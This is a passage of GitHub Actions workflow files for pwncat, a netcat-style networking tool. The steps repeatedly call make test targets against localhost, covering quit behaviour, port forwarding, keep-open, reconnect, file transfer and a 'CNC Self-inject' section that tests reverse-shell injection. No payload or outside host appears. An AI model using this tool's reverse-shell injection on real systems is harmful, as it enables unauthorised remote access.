"TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-windows-3.7.yml000066400000000000000000001203331414025024700225220ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: win-3.7 on: pull_request: push: branches: - master tags: jobs: test: runs-on: windows-latest strategy: fail-fast: False name: "[x64] [windows] python-3.7" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: 3.7 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 # - name: "[OPTIONS] -C/--crlf" # shell: bash # run: | # # retry make _test-options--crlf # env: # RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" 